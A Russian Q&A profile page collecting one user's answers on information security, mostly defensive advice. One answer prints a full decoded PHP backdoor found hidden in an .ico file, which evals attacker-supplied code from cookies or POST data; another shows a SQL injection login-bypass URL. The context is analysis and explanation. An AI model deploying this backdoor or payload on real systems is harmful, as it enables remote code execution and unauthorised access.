Ответы пользователя по тегу Информационная безопасность
  • Что за странные хэши в сообщениях с сайта?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Либо кто-то развлекается, либо бот регистрируется.
    Какая-то защита от автоматических/левых регистраций есть?
    Ответ написан
  • Как запретить копировать файлы по rdp?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Копирование файлов возможно либо через общий буфер обмена, либо через подключение диска клиента. И то и другое можно отключить в групповых политиках.
    Конфигурация компьютера -> Административные шаблоны -> Компоненты Windows -> Службы удалённых рабочих столов -> Узел сеансов удалённых рабочих столов -> Перенаправление устройств и ресурсов
    Включите опции "Не разрешать перенаправление буфера обмена" и "Не разрешать перенаправление дисков".
    Ответ написан
    3 комментария
  • На сколько сложно прочитать данные в MariaDB, когда имеешь физический доступ к носителю?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    На сколько просто прочитать данные в БД, если имеешь к ней физический доступ?
    Очень просто.
    Какой уровень подготовки специалиста (пользователя) для этого нужен?
    Минимальный.
    Есть варианты значительно усложнить задачу чтения данных (может шифрование или что-то другое)?
    Шифрование на уровне тома (диска), например Bitlocker или TrueCrypt.
    Ответ написан
    Комментировать
  • Как проверить чужой код на безопасность, если не особо разбираешься во всех тонкостях языка?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Прекратить копипастить и начать писать код самостоятельно.
    Ответ написан
    35 комментариев
  • Кто сталкивался с биткоин вымогателями бд?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Закрывать весь доступ к базе извне. MySQL должен слушать только локальные адреса.
    Доступ к серверу должен быть только по ssh с ключом, а не паролем.
    Убирать PHPMyAdmin, настроить SQLWorkbench с доступом через ssh-туннель.
    Ответ написан
    Комментировать
  • Как запретить eval функцию, не работает disable_functions в php.ini?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    eval - это не функция, а языковая конструкция и не может быть отключена через disable_functions
    Ответ написан
    Комментировать
  • Что будет за попытку взлома вк?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    В зависимости от цели взлома это может быть и 272 УК РФ, и 138 УК РФ, и без последствий.

    Повторюсь, страница в итоге я не взломал
    Значит имело место покушение на преступление, наказание не больше 3/4 от наказания в случае совершения преступления.
    Ответ написан
  • Это код вируса или нет?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    А вы откройте этот .ico-файл в текстовом редакторе, там как раз зловред сидит.
    Если его расшифровать:
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @error_reporting(0);
    @set_time_limit(0);
    
    
    if(!defined("PHP_EOL"))
    {
        define("PHP_EOL", "\n");
    }
    
    if(!defined("DIRECTORY_SEPARATOR"))
    {
        define("DIRECTORY_SEPARATOR", "/");
    }
    
    if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
    {
        define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);
    
        $data = NULL;
        $data_key = NULL;
    
        $GLOBALS['cs_auth'] = '58d0af46-4572-4890-a372-475116d44415';
        global $cs_auth;
    
    
        function cs_base64_decode($input) {
    
            if (strlen($input) < 4)
            {
                return "";
            }
    
            $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    
            $keys = str_split($keyStr);
            $keys = array_flip($keys);
    
            $i = 0;
            $output = "";
    
            $input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input);
    
            do {
                $enc1 = $keys[$input[$i++]];
                $enc2 = $keys[$input[$i++]];
                $enc3 = $keys[$input[$i++]];
                $enc4 = $keys[$input[$i++]];
    
                $chr1 = ($enc1 << 2) | ($enc2 >> 4);
                $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
                $chr3 = (($enc3 & 3) << 6) | $enc4;
                $output = $output . chr($chr1);
                if ($enc3 != 64) {
                    $output = $output . chr($chr2);
                }
                if ($enc4 != 64) {
                    $output = $output . chr($chr3);
                }
            } while ($i < strlen($input));
            return $output;
        }
    
        if (!function_exists('file_put_contents'))
        {
            function file_put_contents($n, $d, $flag = False)
            {
                $mode = $flag == 8 ? 'a' : 'w';
                $f = @fopen($n, $mode);
                if ($f === False)
                {
                    return 0;
                }
                else
                {
                    if (is_array($d)) $d = implode($d);
                    $bytes_written = fwrite($f, $d);
                    fclose($f);
                    return $bytes_written;
                }
            }
        }
    
        if (!function_exists('file_get_contents'))
        {
            function file_get_contents($filename)
            {
                $fhandle = fopen($filename, "r");
                $fcontents = fread($fhandle, filesize($filename));
                fclose($fhandle);
    
                return $fcontents;
            }
        }
        function cs_get_current_filepath()
        {
            return trim(preg_replace("/\(.*\$/", '', __FILE__));
        }
    
        function cs_decrypt_phase($data, $key)
        {
            $out_data = "";
    
            for ($i=0; $i<strlen($data);)
            {
                for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
                {
                    $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
                }
            }
    
            return $out_data;
        }
    
        function cs_decrypt($data, $key)
        {
            global $cs_auth;
    
            return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
        }
        function cs_encrypt($data, $key)
        {
            global $cs_auth;
    
            return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
        }
    
        function cs_get_plugin_config()
        {
            $self_content = @file_get_contents(cs_get_current_filepath());
    
            $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
            if ($config_pos !== FALSE)
            {
                $config = substr($self_content, $config_pos + 32);
                $plugins = @unserialize(cs_decrypt(rawurldecode($config), md5(cs_get_current_filepath())));
            }
            else
            {
                $plugins = Array();
            }
    
            return $plugins;
        }
    
        function cs_set_plugin_config($plugins)
        {
            $config_enc = rawurlencode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
            $self_content = @file_get_contents(cs_get_current_filepath());
    
            $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
            if ($config_pos !== FALSE)
            {
                $config_old = substr($self_content, $config_pos + 32);
                $self_content = str_replace($config_old, $config_enc, $self_content);
    
            }
            else
            {
                $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
            }
    
            @file_put_contents(cs_get_current_filepath(), $self_content);
        }
    
        function cs_plugin_add($name, $base64_data)
        {
            $plugins = cs_get_plugin_config();
    
            $plugins[$name] = cs_base64_decode($base64_data);
    
            cs_set_plugin_config($plugins);
        }
    
        function cs_plugin_rem($name)
        {
            $plugins = cs_get_plugin_config();
    
            unset($plugins[$name]);
    
            cs_set_plugin_config($plugins);
        }
    
        function cs_plugin_load($name=NULL)
        {
            foreach (cs_get_plugin_config() as $pname=>$pcontent)
            {
                if ($name)
                {
                    if (strcmp($name, $pname) == 0)
                    {
                        eval($pcontent);
                        break;
                    }
                }
                else
                {
                    eval($pcontent);
                }
            }
        }
    
        foreach ($_COOKIE as $key=>$value)
        {
            $data = $value;
            $data_key = $key;
        }
    
        if (!$data)
        {
            foreach ($_POST as $key=>$value)
            {
                $data = $value;
                $data_key = $key;
            }
        }
    
        $data = @unserialize(cs_decrypt(cs_base64_decode($data), $data_key));
    
        if (isset($data['ak']) && $cs_auth==$data['ak'])
        {
            if ($data['a'] == 'i')
            {
                $i = Array(
                    'pv' => @phpversion(),
                    'sv' => '2.0-1',
                    'ak' => $data['ak'],
                );
                echo @serialize($i);
                exit;
            }
            elseif ($data['a'] == 'e')
            {
                eval($data['d']);
            }
            elseif ($data['a'] == 'plugin')
            {
                if($data['sa'] == 'add')
                {
                    cs_plugin_add($data['p'], $data['d']);
                }
                elseif($data['sa'] == 'rem')
                {
                    cs_plugin_rem($data['p']);
                }
            }
            echo $data['ak'];
            exit();
        }
    
        cs_plugin_load();
    }

    А строка комментария в конце кода - это плагины, которые он грузит.
    Ответ написан
    Комментировать
  • Безопасно ли так хешировать пароли?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Зачем изобретать велосипед, когда давно уже есть password_hash()
    Ответ написан
    7 комментариев
  • Доступ к личным онлайн-банкам сотрудников на ПК организации представляет угрозу сети организации?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Если у вас весь софт закрыт лицензиями, то, IMHO, рисков никаких. Может, в свете последних веяний, стоит ещё иметь список сотрудников, использующих интернет в организации.
    Ну придут, побеседуют с сотрудниками, запросят какие-нибудь логи, в чём опасность то?
    Ответ написан
  • Как зашифровать содрежимое value передаваемое через post?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Бессмысленно шифровать. С тем же успехом можно сразу прописать 'yes' в нужное поле формы прямо в браузере.
    И видимость нужных элементов страницы можно переключить.
    Все проверки должны быть исключительно не стороне сервера, сервер не должен отдавать клиенту данные, которые клиент не должен видеть.
    Ответ написан
    1 комментарий
  • Достаточно ли сильной будет такая схема хэширования с двойной солью?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Security through obscurity - наихудший вариант. Передавайте пароль через защищённое соединение и не извращайтесь.
    А дырка в том, что если кто-то может перехватить пароль, то он может с тем же успехом перехватить и кэш, этого будет достаточно для аутентификации.
    Ответ написан
    6 комментариев
  • Два дня подряд идёт рассылка писем с расширением .docm, кто нибудь сталкивался?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Открыть исходный текст письма, посмотреть заголовки Received. По ним можно в обратном порядке проследить весь маршрут письма.
    Ответ написан
    1 комментарий
  • Как безопасно передать access token ВКонтакте на без использования https?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Лучше всего, конечно, поднять HTTPS. Но если с этим проблем, то можно использовать асимметричный ключ.
    Сервер генерирует пару ключей RSA, пересылает открытый ключ клиенту, запоминает закрытый ключ у себя. Клиент шифрует информацию открытым ключом, передаёт её серверу, тот расшифровывает закрытым ключом.
    Ответ написан
    2 комментария
  • Как отследить входящие данные из интернета на windows?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Ответ написан
    Комментировать
  • Как подсчитать время которое потребуется на перебор пароля?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    потому что одна строка может иметь несколько хэшей
    Неправильно, это множество строк могут иметь одинаковый хэш

    нужно узнать все строки которые подпадают под этот md5 хэш
    Таких строк бесконечное количество, все узнать невозможно в принципе
    Ответ написан
  • Почему нигде не используют примитивную шифровку заменой? Неочевидные недостатки?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Поздравляю! Вы открыли для себя шифроблокнот.
    Очевидный недостаток - с точки зрения безопасности в этом шифре (Вернама) ключ нельзя использовать повторно, а значит для переписки придётся иметь копию ключа каждого, с кем переписываешься, да ещё и разработать способ секретного обновления ключа когда он закончится.
    Ответ написан
  • Безопасно ли я отправляю пароли на сервер?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    А в чём разница, перехватить открытый пароль или его хэш? Всё равно можно то же самое послать серверу снова.
    Если уж хочется поизвращаться - для каждого входа на сервере генерите пару ключей RSA, пересылаете публичный клиенту, он шифрует пароль этим ключом, сервер расшифровывает его приватным ключом. При следующем входе генерируется новая пара и т.д. Правда всё равно остаётся уязвимость MitM, но от неё вообще мало что спасает.
    Ответ написан
  • Как заблокировать попытки взлома?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    fail2ban вам в помошь
    Ответ написан
    1 комментарий
  • Чем опасна Blind SQL injection?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Blind означает лишь то, что результат инъекции не отображается на странице. При этом всё равно существуют методы, позволяющие при удаче авторизоваться не зная пароля, например такой конструкцией:
    http://my.site/login.php?name=user' OR TRUE OR '1'='1&password=

    Если запрос на авторизацию к базе выглядит так:
    "WHERE `user` = '".$_GET['name']}."' AND `pass` = '".md5($_GET['password'])."'"

    то он преобразуется в
    WHERE `user` = 'user' OR TRUE OR '1'='1' AND `pass` = 'd41d8cd98f00b204e9800998ecf8427e'

    результат вычисления будет TRUE для любого пользователя и пароля.
    Кроме того, можно разрушить саму базу, выдав команды DROP TABLE или DROP DATABASE
    Ответ написан
    Комментировать